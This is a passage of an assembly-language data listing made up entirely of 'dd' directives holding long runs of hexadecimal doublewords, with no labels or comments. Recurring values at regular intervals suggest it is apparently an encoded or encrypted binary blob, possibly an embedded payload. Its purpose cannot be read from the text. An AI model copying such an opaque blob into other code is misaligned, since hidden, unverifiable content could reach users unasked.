3230441Fh, 9B3951C9h, 566E053h dd 188F4432h, 0D5662232h, 0F2695086h, 0E1E04E52h, 12806A24h dd 156EAB3Dh, 73061132h, 7505A48Bh, 150E2553h, 0ED662222h dd 0EA931158h, 57AEDA7h, 75362434h, 1F8E7A53h, 35661132h dd 0BA32BB1Fh, 8C77FF07h, 156BCBBEh, 69B21132h, 9701B07Ch dd 0F389A46Fh, 4F7FB144h, 12ED1E53h, 1A668832h, 156645BDh dd 90EFDB32h, 1376219Bh, 157E0A3Dh, 68F4432h, 36662232h dd 0D543A147h, 0F1A61099h, 97BB69E0h, 0F9252E19h, 90EB8452h dd 1371D6F0h, 0D6ED2252h, 0EA072281h, 1576F8E2h, 0A9348832h dd 0ED891606h, 0A5247369h, 9485849Ah, 110CDB77h, 5662CC7h dd 9F692232h, 15661124h, 156699DBh, 1478D632h, 0DE24981Ah dd 0FAF6F5BCh, 46A9CF24h, 150EEED9h, 0EC662212h, 95691158h dd 1566882Bh, 156650DBh, 69ABAF32h, 79A90B83h, 0DFBCECB0h dd 0EB2E44B4h, 470B1422h, 70F3EE7Ch, 0ED60982Eh, 1F43C1BBh dd 1A8F2422h, 0CD661132h, 462AAA33h, 0E670C724h, 684E2870h dd 90EF9EF8h, 137683A7h, 0E0262ECBh, 1576225Ah, 1575F832h dd 0ACDE8832h, 0CB4D20ABh, 0A513297h, 4596B835h, 191DA101h dd 15662C81h, 1A062233h, 156613B9h, 1A3FD832h, 156647BCh dd 1B8A232h, 0EC667B53h, 9031DCDh, 0FD064222h, 1566223Eh dd 3494B5FBh, 0DEBBA49Ah, 0BC02A361h, 8DA8A354h, 0F3E7484Ah dd 4824672Eh, 6CE3CD53h, 0FC603220h, 1566113Ch, 0B2D615Bh dd 9BF5F9AAh, 259045EEh, 0A0EDDCB8h, 1376A7F7h, 156CAD52h dd 82632232h, 0ACAA0FE5h, 2EC82CB7h, 156DAC62h, 37CA2232h dd 0A455697Bh, 390FEAD5h, 743F1B9Eh, 14FBA9CAh, 1A60011Dh dd 156689BDh, 0A0EFB832h, 13762D23h, 15661FDBh, 84AAFE32h dd 0CEAE6EC4h, 4360F404h, 9C3C85B5h, 57651AFh, 19E94B34h dd 1A662232h, 156617B8h, 15EE8732h, 9E664432h, 54923AFh dd 14E91E34h, 0E0668832h, 21E777CDh, 96362B16h, 316A9A36h dd 15624CB3h, 0E4E74432h, 11E5723Bh, 1561963Dh, 95698832h dd 15664433h, 159FA1CAh, 2C56953Dh, 45068832h, 733F1E60h dd 7D07E0B9h, 15667C75h, 1A428CBBh, 156647B5h, 749E4232h dd 1561705Ah, 316A0132h, 156641DBh, 302DEC32h, 7506713Bh dd 0D66357B3h, 0D2E73A0Ch, 6BC01014h, 1AA62053h, 156680B3h dd 0AF002432h, 25D06CEEh, 60E39853h, 0E9609826h, 18632C61h dd 9ED4ED9h, 11A29016h, 5E668832h, 0DC8DC571h, 9C0AC93Eh dd 94694AECh, 1566883Bh, 0DBE72252h, 2ED2A582h, 0A833E953h dd 4D62870Ch, 719981B3h, 0FB4F0591h, 3112126Fh, 28A00912h dd 1A19E346h, 15662EB6h, 13E81E32h, 1A668832h, 156644B2h dd 94374232h, 29E769E1h, 7307D349h, 1DE94B9Fh, 1A662232h dd 156613B6h, 3807E832h, 1FB908F1h, 6B6D7F1Fh, 31221211h dd 1E3B8D12h, 0D663674Ch, 756CFD7Eh, 0AC19F1B3h, 9769B3A2h dd 15664434h, 0AE6EECB3h, 0EA076754h, 21E7F042h, 0BE4DAF16h dd 0AA317C64h, 43CD3AD9h, 0E9397603h, 676A82B3h, 0FBE70D57h dd 21E76C39h, 3542FC31h, 686D82B3h, 0FBE716B3h, 3A03633Eh dd 156682DBh, 9871E632h, 0CD3C69C7h, 45AB3063h, 1566908Ah dd 9E964532h, 3162A90Ah, 1562D5B3h, 18F8832h, 0DC664432h dd 0BE6BFECEh, 46364105h, 23A2E0A8h, 6F4CFC5Bh, 9C8070C7h dd 574C08Fh, 14E88734h, 0E0664432h, 9069DDB7h, 1566110Fh dd 156682DBh, 0DE266332h, 3F74E26h, 0FC1EE133h, 1566883Ch dd 1F667CD3h, 305D3ADCh, 0A14B420Bh, 0E78ECDEEh, 0EC66446Ch dd 1562C8DBh, 99697132h, 15668830h, 0DBE71D60h, 6E8DD6B9h dd 0F4EF4053h, 156249B3h, 0FCE54432h, 316AA536h, 316A986Eh dd 74BC0852h, 1ED1353h, 11A2A116h, 15619C3Dh, 9F068832h dd 0D4D14BC3h, 11B44953h, 1561973Dh, 91698832h, 15664433h dd 1563CBC7h, 0C8E91132h, 9C9D018Eh, 54B11A7h, 0FDEC4234h dd 110C70CAh, 15670A3Dh, 75934432h, 1AB9A952h, 7307DF85h dd 1C1D41B3h, 5662C53h, 0FD062232h, 1566113Dh, 0E98C74FDh dd 295D65C5h, 4AD7592Eh, 73A0FDFBh, 9F9E53B3h, 74B6CF6Bh dd 1504095Ah, 31729832h, 15669BDBh, 8F440B32h, 2DE99773h dd 4487411Ch, 50CC349Ah, 4B7652FCh, 1A062258h, 15661EB1h dd 156F6032h, 0FAF64432h, 46A96524h, 4DDCBBD9h, 6E78753h dd 0FC664432h, 1566223Ch, 0A37FEC0Dh, 6DA1A309h, 76062EA3h dd 8099945Eh, 13760D57h, 156680DBh, 0BB89BC32h, 2B32D63Eh dd 50E398ECh, 0FC609801h, 1566443Fh, 413FC2A5h, 26EE023Fh dd 93E855F3h, 118AC73Eh, 9C423EBBh, 4EBC98F1h, 7406DB52h dd 156CAD6Bh, 50672232h, 17635FE1h, 621D62C7h, 316ACF53h dd 9480AB64h, 156615F4h, 11A00B32h, 494270B5h, 156631DBh dd 81B07532h, 19F1DC29h, 37196DBDh, 5D9B1E18h, 0F7038A67h dd 153B0CDAh, 0E30EB132h, 9C662200h, 0B89A3506h, 0DBEDEE52h dd 2A6A4153h, 5165202Fh, 0AC373516h, 54DE2C8h, 4F2A5B3h dd 0D4E77A39h, 4ADD54E6h dd 94BF7F73h, 3311D9FBh, 78A7A348h, 3C61CC0Dh, 0AD06D1FAh dd 50AE5DC4h, 7494A954h, 249E20CBh, 1A9EB9F5h, 156645B2h dd 9C36D732h, 9EA598CAh, 0D1E7AC36h, 15664436h, 1573A93Dh dd 58F1132h, 0C9668832h, 517B0580h, 0A03448A9h, 0E532B760h dd 7DF85B67h, 156609D0h, 0FC421EBBh, 15661137h, 0F1287835h dd 0E9A67462h, 0E8138CC7h, 156617DBh, 0F9041832h, 0FC7BA023h dd 15662239h, 0AAFF7385h, 4993AC79h, 9E216638h, 9C330606h dd 11A390D7h, 94668832h, 156640F7h, 314AA532h, 51D9716Eh dd 4533EA36h, 94071CCAh, 352817F5h, 7E89901Dh, 3C748432h dd 7EA1C5EDh, 94742E32h, 352824DDh, 9C357D1Dh, 11A5C5D1h dd 96662232h, 9E115D9h, 1EFD416h, 2E04B16h, 1A662232h dd 156600B8h, 156A6132h, 0E8B24432h, 33A55D22h, 366EED07h dd 91694F0Dh, 15664420h, 15662FDBh, 0C1975632h, 0C7DC9045h dd 9C75D861h, 0F9E75192h, 15661136h, 4F42B4BBh, 156CC23Dh dd 94062232h, 0B60345C3h, 74BF0323h, 25CFF9B9h, 1E8F2422h dd 0D7661132h, 0DB0DC51Fh, 7A42B16Eh, 0EADF80DFh, 0E999EECDh dd 188F4803h, 15664432h, 2671CA28h, 0A64D36F4h, 0CBD3BEDAh dd 15DF1561h, 9C662232h, 0E66748F9h, 1A3D8BB8h, 15664EB0h dd 1563CB32h, 27641132h, 25CBE07Bh, 14E34BFAh, 0E9662232h dd 0EA99AE65h, 0EB4F77CDh, 2199B86Dh, 3162A9B5h, 1562D5B3h dd 0D49E8832h, 24934CDBh, 1563CBF3h, 0C4D21132h, 5FC3FF85h dd 0EAF0C13Dh, 0AD06DDCDh, 76A82F07h, 74AF3F3Dh, 9C62A8B1h dd 0ED3E063Eh, 0E28C96A0h, 878C0FE7h, 11EE4B52h, 73662232h dd 1A1A888Bh, 15668DB3h, 0FFE72232h, 0EA07B955h, 963C3506h dd 459E8CF6h, 464240B3h, 9A2BE64Ah, 0B5D84730h, 5341D52Ch dd 63E68AB3h, 0F3E73795h, 7C324519h, 0FBE756C5h, 858177BEh dd 1A38101Bh, 15661DB5h, 13ED8732h, 1A664432h, 156622B5h dd 11DE4132h, 94668832h, 0C76D53F0h, 94A4232Eh, 0C76D06D8h dd 469ED02Eh, 0D6E7A7BBh, 15662236h, 1562FAB3h, 9E18832h dd 1EF1816h, 9099DE16h, 13760547h, 15670A3Dh, 9E9E4432h dd 57257A7h, 7EF1E34h, 0FC668832h, 1566443Fh, 0B58DB369h dd 1148B537h, 4DEEBAE9h, 0C4F37D6Eh, 1A603220h, 156690B6h dd 9400E832h, 1AC220EAh, 156627B1h, 0C6E77732h, 0EA07F471h dd 963C6006h, 9E9E26F6h, 9C343506h, 11A409D0h, 96664432h dd 1E126F0h, 1A064D16h, 15668EB0h, 15E44B32h, 1A662232h dd 7D07E685h, 1566BAC0h, 0AF4250BBh, 15662236h, 0FC3CC733h dd 15668820h, 0CA2AAAC4h, 87F2FDBAh, 0FC703A4h, 0F704BEEDh dd 0AD066897h, 786DB473h, 7419E2B2h, 0EA9A69DBh, 156EADCDh dd 0BF302232h, 6FFE84D5h, 1EDEF49h, 0F7EF1616h, 1562E0B3h dd 0D7E51132h, 31720F36h, 0EBEC246Eh, 156629DBh, 8D945432h dd 0F3A53753h, 4594C9F0h, 3152DD53h, 11A2926Ch, 156699DBh dd 0DFDF7F32h, 0F11D2311h, 53CF149Dh, 0E8CD2BACh, 91696A1Fh dd 15662239h, 156617DBh, 1189A632h, 7459C4F8h, 1569A43Dh dd 1F8F1132h, 0BE668832h, 0E8C1D5EDh, 0DAED8243h, 14E81E65h dd 0ED668832h, 444248B9h, 0D4E7C3BBh, 15661136h, 156249B3h dd 19E14432h, 90697E16h, 15661135h, 15670E3Dh, 759F4432h dd 62BC6D8Bh, 10E11E5Dh, 0AC668832h, 6F52897Ah, 3162A953h dd 94839867h, 15668CF7h, 11A3C732h, 49420EB5h, 156616DBh dd 7030CC32h, 5FE39BCDh, 3F7BA7F5h, 15661722h, 1B8F8832h dd 0A2664432h, 71BE75DDh, 559B154Ah, 5E39EB73h, 0B8E38336h dd 15603226h, 0ED661132h, 0B03035B1h, 1A664225h, 15661AB6h dd 88EBE432h, 1370390Fh, 1572C63Dh, 1A8F2232h, 0B2661132h dd 0CF4DF8FEh, 0ED670A45h, 659167DFh, 0C699859Eh, 156698DBh dd 0FE6D9F32h, 0DA373C10h, 9D32AF0Fh, 96802A88h, 60E3BB94h dd 1A603215h, 156619B4h, 9A69E832h, 15664432h, 60DBA153h dd 71600115h, 17AF0A3Dh, 45064432h, 1A3D7861h, 0D207D885h dd 541FDB7h, 15664534h, 0FE72D32h, 1A661132h, 15669CB0h dd 1569AD32h, 0CA912232h, 0F716BCBFh, 2DFE3B69h, 276C88B3h dd 1B8F4273h, 0E9661132h, 0C0186D7Eh, 11DE37B0h, 0DE0E058Fh dd 0E1E39CCEh, 75609F4Ch, 156654DBh, 0DD380032h, 0FA65F53Dh dd 0C316E971h, 450D8BAh, 0C59943BCh, 4F3771C7h, 33D30553h dd 0E9605394h, 1572A43Dh, 9B691132h, 1566883Ch, 15664DDBh dd 0D8B4E632h, 0B581DE29h, 0A8EB49D3h, 137E7469h, 47DE72C7h dd 147EA604h, 0E24FD0F5h, 2334ABB3h, 1F8F3A85h, 37661132h dd 6FAECBFAh, 0B0F26C39h, 5E94A1Ch, 9EF1132h, 9C9D0116h dd 9E9F1FE8h, 5568B8Fh, 0EBED7134h, 156698DBh, 84251B32h dd 813199B1h, 5DCB8458h, 0EC673957h, 0EADF25CBh, 7599DDCDh dd 0BDD5A954h, 743E7D60h, 0FCA675CBh, 1566223Ch, 377D8B0Eh dd 40CF9A5Ch, 99E9EF0h, 45375D65h, 0FF4E9A5Ah, 4D6BD04Ah dd 0C407864Ah, 43D32FD2h, 5C637084h, 9C6A813Ah, 0E4671CF3h dd 1A3F23B8h, 156616B5h, 14E88732h, 0E0664432h, 9969EA02h dd 1566113Ch, 156681DBh, 2B364132h, 85BE5110h, 47305741h dd 9224D26Ch, 0FD9F24E4h, 15662226h, 0CD950542h, 0BA30822h dd 0FA79CBE0h, 7B551DDDh, 9A862CC3h, 74394481h, 4DE170CDh dd 156DCA52h, 74AA1132h, 0E75F0A59h, 39DC4E56h, 749A78E5h dd 756EF8F3h, 5063A58Dh, 45DE2218h, 0D4574323h, 90695BCEh dd 0EA997763h, 156656DBh, 0FB2A4D32h, 5BB343F8h, 82174285h dd 1BF39151h, 7D26AFAAh, 15660DF7h, 4D4284BBh, 156654DBh dd 66A94532h, 762DAD65h, 54936B5Bh, 0C572ABCCh, 19172B4h dd 31629A16h, 0FC624CB1h, 15664423h, 0FD908D4Dh, 0D9891B1h dd 35A46359h, 18D7FD52h, 70E31B1Ch, 1A600111h, 156638B6h dd 1575AD32h, 6E1D2232h, 0BE3886B4h, 0C70B15Ch, 0F82A40ABh dd 3EB4C0C3h, 15D8474Eh, 9C668832h, 3152CFC2h, 1562E6B3h dd 9F691132h, 15668833h, 1AA64FCAh, 15661FB7h, 94007132h dd 0FD881BD5h, 1566443Ch, 478E8D23h, 0A05B7589h, 1C36CEA1h dd 9E002DD7h, 0D2077DC9h, 56084B7h, 15668934h, 1576AD32h dd 46FD2232h, 369D7905h, 7E37F72h, 0F31989BCh, 473336B4h dd 6D0DC888h, 4FB3012Ah, 0F88781B3h, 0FC67C58Ah, 9669716Fh dd 15668834h, 0CCF79FB3h, 48E4C67h, 89661132h, 0F58F94D8h dd 0E78C9689h, 5A29B305h, 0B4192AFh, 4A980354h, 18F2553h dd 0B6662232h, 0C42109A8h, 2A925D72h, 631AD89Ch, 0A35C306Bh dd 46C4CED4h, 6BBF7A89h, 21E71772h, 0C17ACE16h, 0E4E7484Fh dd 68B294DEh, 1576AD69h, 0A6672232h, 0B2E17E6Ch, 153C6F1h dd 1DC414h, 0AE353DB1h, 229008A1h, 0C6915BC5h, 0E260AFF3h dd 87DB77E1h, 0D44EF07Ah, 0D8E780D7h, 74C91DD0h, 0F0A7FFC5h dd 0A8A3903Ah, 3C3159C0h, 0FEE719D9h, 69E1C3D3h, 0E03DCBBBh dd 156682DBh, 0C9BDBA32h, 0B736FB10h, 0B8750D66h, 15710C3Dh dd 73064432h, 0FDC8838Ah, 15661139h, 3E71D866h, 9FA32031h dd 4C653672h, 4D39853h, 1A60983Dh, 156657B2h, 1568CB32h dd 35301132h, 0B5A5E986h, 9CA9B9DFh, 6DD11E36h, 20DE4167h dd 20704713h, 27DC57C1h, 943EE7BBh, 0EC4E29F7h, 0C4830964h dd 0D4059A2Eh, 0F8A726DFh, 0FF8B9034h, 94007746h, 0C38D8C7h dd 0E908ABABh, 9E00716Fh dd 0FB5BE9CCh, 1A88AADCh, 156682B7h, 12E51E32h, 1A668832h dd 156645B0h, 2BE7DB32h, 0C8BBCCEFh, 15E10D3Dh, 40934432h dd 0F0381F8Fh, 0D660D63Dh, 44969293h, 1566448Bh, 14972332h dd 0E93B481Bh, 15623361h, 0D3E74432h, 2E7B4220h, 0FBE7CF33h dd 2E7BE820h, 6E94B69h, 0FC662232h, 1566113Ch, 66DA173Dh dd 87F73400h, 9BC43023h, 0A0EFB4EFh, 13768723h, 156CC13Dh dd 9E062232h, 15EF1EE4h, 74668832h, 154A16DBh, 1FEC2D32h dd 75661132h, 15660A3Dh, 68D54432h, 0EBE7CB53h, 1F8FEECDh dd 7B668832h, 0E9A42B01h, 7E69375Dh, 118A90B2h, 9C668832h dd 0FC3D6036h, 1566223Ah, 0DC0FC8BFh, 0BAF79F34h, 13F3C101h dd 0D49F2422h, 0E00612FAh, 74A6373Dh, 51572B1Fh, 42B60B59h dd 51577E8Dh, 4A9E8959h, 156649DBh, 0BBD5F332h, 6FC8243Ah dd 7D770083h, 0D5A7F837h, 0CBED4222h, 0DD5770CAh, 156682DBh dd 86205032h, 1F89F69Bh, 9C3B54E1h, 5601DAFh, 155BB134h dd 1A662332h, 1567C3B1h, 0C6E7E832h, 41013D1h, 9407F2B9h dd 0AEDDAA0Ch, 0A9E38789h, 0E0664433h, 15662FDBh, 416B3632h dd 0C3589423h, 0D120FB8Ch, 0AF3419B6h, 15661132h, 7D377A33h dd 5469Ah, 14AFA36Bh, 9474916Ah, 0F63C21DBh, 4C6CCD25h dd 1EED2D68h, 0FC661132h, 15668834h, 79052458h, 0A8335284h dd 15661136h, 41DC4EB3h, 0FB675A7Fh, 41DCCCB3h, 0ED3B0F7Fh dd 1A773DBBh, 1A064222h, 9400EC85h, 7470F5C1h, 0CBD98752h dd 9E07AFB8h, 54923AFh, 2699E834h, 5B42A4B3h, 4C05E91Ch dd 3B289D65h, 0EC67729Fh, 739AE86Dh, 527EB2B3h, 130EDA53h dd 9C661120h, 11E7AC36h, 63612716h, 0FFE77868h, 4F101651h dd 46D7E852h, 15664DDBh, 0FACFDE32h, 4755927Bh, 740758F6h dd 9434B152h, 276C061Eh, 11ED23CBh, 11A20B16h, 0EC544E37h dd 0AF004200h, 0D2EDBE81h, 0F8E3A353h, 0FC605413h, 15662223h dd 582FC03Ch, 215D51FDh, 37A25071h, 751F0BC3h, 1786D02Ah dd 60E38BCAh, 0FC605436h, 15662238h, 0EC2D13B9h, 38186561h dd 3D0E3443h, 9C662260h, 4D303536h, 1FE0876Ch, 75664432h dd 92697963h, 15661132h, 0FC062553h, 1566443Eh, 0ABCFCFE6h dd 7625C01Ah, 0DB5E2713h, 15664BDBh, 0F286C32h, 4B029784h dd 0BFA024E8h, 703B7D05h, 0AB30DE53h, 0CF23039h, 5B6466F3h dd 1488C57Ch, 0D44FFC24h, 0D3E719D4h, 68027E0Dh, 1438B433h dd 20590FFAh, 0AC061565h, 7491B7E6h, 3122CD53h, 1569CB2Eh dd 7A6F1132h, 0D46053CAh, 1DA40708h, 0ED036B8Bh, 1A067023h dd 9E694885h, 15664434h, 1566A73Dh, 0FC071132h, 15668B11h dd 15664EDBh, 5AB9CB32h, 0DA0ABB9Fh, 47DC249Ch, 0D7E7A6BBh dd 15662236h, 1562FBB3h, 1E18832h, 19EF1816h, 14EF2D16h dd 0E0661132h, 94830167h, 156640F7h, 118BA332h, 92661132h dd 9C3AAC1Eh, 1F8F6026h, 0FC662232h, 0FC76067Dh, 8203366Eh dd 1AAF7505h, 156623B3h, 80EDE432h, 1376BB77h, 1568CF3Dh dd 1C8F2232h, 8D661132h, 2C79C1F1h, 2883E107h, 43DF4452h dd 2ADF77B5h, 175DE942h, 15BEC03Dh, 73062232h, 0B766DEB3h dd 11D9DF53h, 94664432h, 0E34A20F0h, 949C102Eh, 0E34A8AD8h dd 48F1B2Eh, 91662232h, 9484F7D1h, 558CD064h, 0BBE8586h dd 0F89D507Dh, 156D9F3Dh, 138F8832h, 74664432h, 0C05F5D34h dd 14D847D1h, 14668832h, 2E9A1AC3h, 574F3BFh, 8AE31E34h dd 0FC9977CDh, 15664439h, 8D0F7492h, 7A6D9E2Ch, 46F2B658h dd 0C03E6789h, 12A5A37Ch, 943AA562h, 0FE62C9C1h, 6C95C502h dd 945D925Fh, 0C7A703D9h, 9EBE0192h, 0D1E5602Eh, 9E694236h dd 15661122h, 156683DBh, 6B30BB32h, 0B9C4DA72h, 53D17BDCh dd 1567003Dh, 74934432h, 15662DDBh, 3CECA32h, 0A61C2888h dd 0A1344BBh, 0C6D35F87h, 5BE39CBFh, 0EA9A8E22h, 12ED4BD3h dd 75662232h, 0A269C585h, 98EFE9F8h, 13765047h, 3152DDCBh dd 11A29268h, 156686DBh, 46CA5932h, 280996C4h, 0E81DF9ACh dd 9E43D7CFh, 9C34603Eh, 11A4A3D0h, 96661132h, 1E18CF0h dd 42931816h, 0D2E7C5BBh, 15661136h, 926267B1h, 9C3A600Eh dd 9E9F0606h, 54910AFh, 14E98734h, 0EC664432h, 1571A13Dh dd 78F1132h, 60668832h, 0EC43BFD8h, 9E1E5397h, 9F2DD435h dd 40B1FC24h, 15DC1652h, 14662232h, 9E6C9AE8h, 0D1E5AC26h dd 14E74B36h, 0E9662232h, 11394B9h, 9C698E22h, 1566443Dh dd 156628DBh, 50E96932h, 87A28C63h, 0C474B7D4h, 0AC0042D2h dd 0CADC6F23h, 74795DE3h, 3F13C131h, 249E2422h, 14E01EC4h dd 0E9668832h, 1573CF3Dh, 58F2232h, 71661132h, 1F6E65FFh dd 0ED68F154h, 585F6542h, 2406500Dh, 24A0B9C2h, 9C6924C2h dd 15662236h, 0EAC1AB54h, 75CBEE53h, 0DC27FE54h, 156633DAh dd 66BC4E32h, 9CB18042h, 9331694Eh, 5DE6FF79h, 108E534Ch dd 4668832h, 41EDA3F2h, 0E0077C6Ch, 1A64F1F3h, 15668FB9h dd 14ED4B32h, 0E0662232h, 11139431h, 58F8E22h, 91664432h dd 3097C432h, 3B228B05h, 0BD85CE56h, 24341C5Ch, 24A013C2h dd 78F71C2h, 0F668832h, 20C34131h, 95CADE8Bh, 0C892B273h dd 0D348BE31h, 58F1406h, 25662232h, 781B8CABh, 0E8B24F35h dd 33A53B22h, 4B6EDE07h, 109ABC53h, 291EA526h, 0AB308C33h dd 49163338h, 0FBA75F74h, 0EAA80930h, 94579F03h, 8D9137F4h dd 4B963836h, 156D033Dh, 138F4432h, 3F662232h, 0E8A2942Bh dd 315277B2h, 11A2C56Ch, 0FC662232h, 15661135h, 52179229h dd 9602C592h, 57AB78Fh, 91691034h, 156688C9h, 14EC4BC7h dd 0EC662232h, 1FF9C09h, 91698E22h, 156644D5h, 0E2D12D52h dd 6E36C2B3h, 2E07C7D6h, 546A1BFh, 0C5E22D34h, 0FC661132h dd 15668826h, 6C1B55A5h, 0C3258C6Eh, 4DD73BDBh, 0C75F2A0Dh dd 38191E22h, 3B07AF09h, 91691722h, 15668899h, 3CFBC9CBh dd 1A603A36h, 156600BFh, 156A6132h, 0C4924432h, 25DB2D45h dd 7AC2B5F9h, 0C699795Fh, 1568CD3Dh, 1C8F2232h, 0F2661132h dd 610C253Dh, 307667B9h, 3162A362h, 27FD010Ch, 0D3DBDD6Dh dd 94268C71h, 44665BF7h, 0AD939038h, 0C471C376h, 94BBB3D7h dd 0F01AE3F7h, 9893902Dh, 3C335259h, 1B8F19DDh, 57662232h dd 0EA98E2Ah, 0D240FDF3h, 8A71B03Fh, 84E3AB46h, 1A600113h dd 156689BDh, 358FBD32h, 1A662212h, 15660FB7h, 0DEB8732h dd 0FC664432h, 15662221h, 0E9177060h, 55D19C16h, 0B3293689h dd 6E24A87Dh, 9885CB5Dh, 0D62A1AFh, 0C699BC34h, 156636DBh dd 5BD0C332h, 8CEEC120h, 40A500B7h, 0A51B9C96h, 0C053780Fh dd 80DB0B25h, 1560542Eh, 153FA63Dh, 188F1132h, 74668832h dd 33C170BDh, 40BDDF53h, 0E996543Eh, 3CE3B3CBh, 1A60543Dh dd 15660AB6h, 0A5D57132h, 15668EDBh, 0DA4DC732h, 7489D8C5h dd 0F039409h, 90698E22h, 1566442Dh, 1561A73Dh, 9C691132h dd 15668833h, 0EBBDADC7h, 1A06DDCDh, 156614B5h, 28E43032h dd 2E0763AEh, 57263B7h, 7FE31E34h, 1A668832h, 156650BCh dd 1569CB32h, 0F9B61132h, 0A6BA126Dh, 0C8CE4C79h, 0FA7F069Dh dd 1CDB920Bh, 15609810h, 1579C03Dh, 96692232h, 15661133h dd 10DB0BC7h, 15605439h, 1549A63Dh, 94061132h, 767B26E9h dd 0EDD94B0Ah, 97E3AF53h, 7560064Dh, 4DCB3054h, 74B8CF54h dd 0EA984ADBh, 156DF8CDh dd 32CC8832h, 0C91FB9EDh, 9C0C226Ah, 54E32A9Bh, 1A609826h dd 0EA9808B6h, 156BCBCDh, 0F81D1132h, 8619E804h, 6D2BAC42h dd 96C48FC5h, 2C32B8Fh, 90698934h, 1566440Ah, 156636DBh dd 0B25CBC32h, 8AF7AFAEh, 0E42A0CFCh, 0D98258E1h, 7F98532Dh dd 7BE3B355h, 1A605397h, 156631B7h, 90EBE932h, 153F83D6h dd 0EB48ADC7h, 0ED06DDCDh, 74FFCAB2h, 96697703h, 15664433h dd 78DBA1CAh, 15600102h, 4770C3Dh, 0AE064432h, 482BF09h dd 2E071384h, 2C3D2B7h, 57E34B34h, 0ED662232h, 71794B9h dd 18F8E22h, 77664432h, 9262A893h, 5BEFD850h, 609CED11h dd 555D9133h, 47D6C5ADh, 0B9450388h, 0C840963h, 0D42AA351h dd 0DFE727D8h, 20FB2B76h, 0D1C57AB3h, 0C24F8C50h, 6ED44268h dd 77E32A53h, 1A609F97h, 156672B7h, 19E12D32h, 1A661132h dd 15668EB7h, 15EF4B32h, 9E662232h, 54C70B7h, 0AD9E834h dd 7501585Bh, 75B0953Dh, 43077053h, 0DE09118Ch, 7390C566h dd 3CCD16A2h, 2E934FC5h, 2C3D6B7h, 2BE34B34h, 75662232h dd 15661FDAh, 0CB733432h, 0B19830DDh, 0D6D4D41Bh, 75552559h dd 0FDE7D753h, 5410F8EFh, 90EDD753h, 1376323Fh, 156682DBh dd 6F774E32h, 79A1ADB8h, 42825108h, 544284B5h, 4A4248B5h dd 73E319CBh, 1A600697h, 1566BFB7h, 90EDBD32h, 13762BCFh dd 156616DBh, 0FB24A732h, 4179812h, 15679C64h, 0E2671132h dd 1DE5876Ch, 1A664432h, 156620B9h, 1A077132h, 15668FB8h dd 0D1E62432h, 74B1A9E5h, 0B00C9409h, 90698E25h, 15664405h dd 0F4E3A9CAh, 0FC60012Fh, 15668823h, 183C62Dh, 3D9B7EA4h dd 0A8009394h, 56BF0FF3h, 0EADF1599h, 3C99DDCDh, 198F48FDh dd 75668832h, 0F8378884h, 0A6F83496h, 2E51CFDFh, 2C3E6B7h dd 7FE34B34h, 0EC662232h, 82B94B9h, 0FC068E22h, 1566443Dh dd 0F687D056h, 4188DFDFh, 6E131C4Ah, 0A03AE6FAh, 48F43CDh dd 5661132h, 519A9986h, 957AB7AAh, 6F811B63h, 0CF4A1EB2h dd 0EA993361h, 0CA4FBBCDh, 188F4269h, 32661132h, 0E170E0Fh dd 0C85FF361h, 0A2E8584h, 15749F3Dh, 198E8832h, 46664432h dd 932B9421h, 1091D133h, 4BF1B113h, 67E37F53h, 1A603597h dd 15662DB7h, 90ED7432h, 1376416Fh, 1576AC3Dh, 1E8F1132h dd 0DD668832h, 0CCA647D5h, 0E7720394h, 0C2E15603h, 4A34DF70h dd 1575AD68h, 0BE7E2232h, 13269DA2h, 0C5B1411Ah, 0EBB65851h dd 3CF0F9DAh, 63E32A92h, 1A609F97h, 15667BB7h, 96694232h dd 15661130h, 0FCE659B8h, 90ED2501h, 13762AA7h, 156602DBh dd 16C20032h, 92B8791Dh, 5B1C7F9Eh, 57F560BCh, 0DD528AD8h dd 1567FA64h, 0E2672232h, 1560F86Ch, 0B3518832h, 9307C5D5h dd 0B01CA709h, 90691725h, 15668864h, 156ECB3Dh, 9A692232h dd 15661130h, 90EDE952h, 13765CF7h, 156EA13Dh, 92691132h dd 15668830h, 94062552h, 784576C3h, 0EBD91E5Ah, 0E1DFD953h dd 944C605Dh, 0B31A1C3h, 0F4A7505Fh, 94B77F36h, 491E3AC3h dd 4CA923BEh, 15619E3Dh, 9E068832h, 0CCED22F8h, 905DD753h dd 1371B44Ch, 15510D3Dh, 78F4432h, 0D2662232h, 77C55688h dd 35A09ABFh, 2EEFB876h, 0BD583436h, 10E39A91h, 0ED60982Ch dd 1567FE60h, 0C2672232h, 156DF868h, 0A8208832h, 0B8362E53h dd 51096727h, 93E32A5Fh, 1A609F97h, 156672B7h, 19E92D32h dd 1A661132h, 15668EB1h, 15E34B32h, 9E662232h, 5682CB7h dd 18EB8734h, 75664432h, 60A1A354h, 15E81E5Ah, 74668832h dd 0EA99FD63h, 0DA4FDDCDh, 2E07716Bh, 2C30AB7h, 7DE34B34h dd 0FC662232h, 1566113Dh, 0D1EF075Eh, 0A8A1D233h, 71A07C8Ah dd 0FC6560ACh, 15668837h, 31E84FA2h, 0D4DBA1FCh, 15600123h dd 155B0D3Dh, 1C8F4432h, 79662232h, 0AA158673h, 50B06F97h dd 156657DBh, 5E67B132h, 10787F44h, 0E2B41E60h, 71A94615h dd 0D5A72E23h, 240B94B9h, 439A8E22h, 0EA99BB8Ch, 4B910BCDh dd 15679B3Dh, 969E8832h, 561058Fh, 91692234h, 1566117Bh dd 1BE3B3CAh, 1A605394h, 15661EB7h, 1569F832h, 1A5D8832h dd 5448CF83h, 0F52001F3h, 0DDFDA30Ch, 0CE30370h, 0FC605410h dd 15662220h, 0EBEEE944h, 0F2A69962h, 0A7E110B9h, 454C4CF8h dd 0F9E57CDFh, 315A0136h, 4A4240CDh, 0BCDBA1CEh, 15600100h dd 176A0C3Dh, 969A4432h, 57FC78Fh, 91691134h, 156689CCh dd 81BFC452h, 1566AF3Dh, 2E071132h, 2C37AB7h, 4DE34B34h dd 1A662232h, 156610BDh, 9E9F7432h, 56CEDB7h, 1563CB34h dd 0A7A1132h, 408477A0h, 0EA99BB8Fh, 48890BCDh, 157A9A3Dh dd 73068832h, 0FDC52F89h, 15662222h, 9D2BE953h, 18610B8Fh dd 0B6C83886h, 0E1472409h, 58F7069h, 3D668832h, 0B1238C56h dd 7A5ABE5Ch, 5B13E8E7h, 2EC0DEA5h, 2C046B7h, 54E32D34h dd 1A661132h, 156689BEh, 9E9FBC32h, 54507B7h, 1568F834h dd 18BC8832h, 571E06FBh, 21920EA3h, 5F7CFB38h, 15673260h dd 0C2674432h, 1574CB68h, 0B34E1132h, 0D4DBEEB0h, 0BE259DB5h dd 0FC2182EFh, 6C54439Bh, 0B0900D09h, 90694225h, 1566221Eh 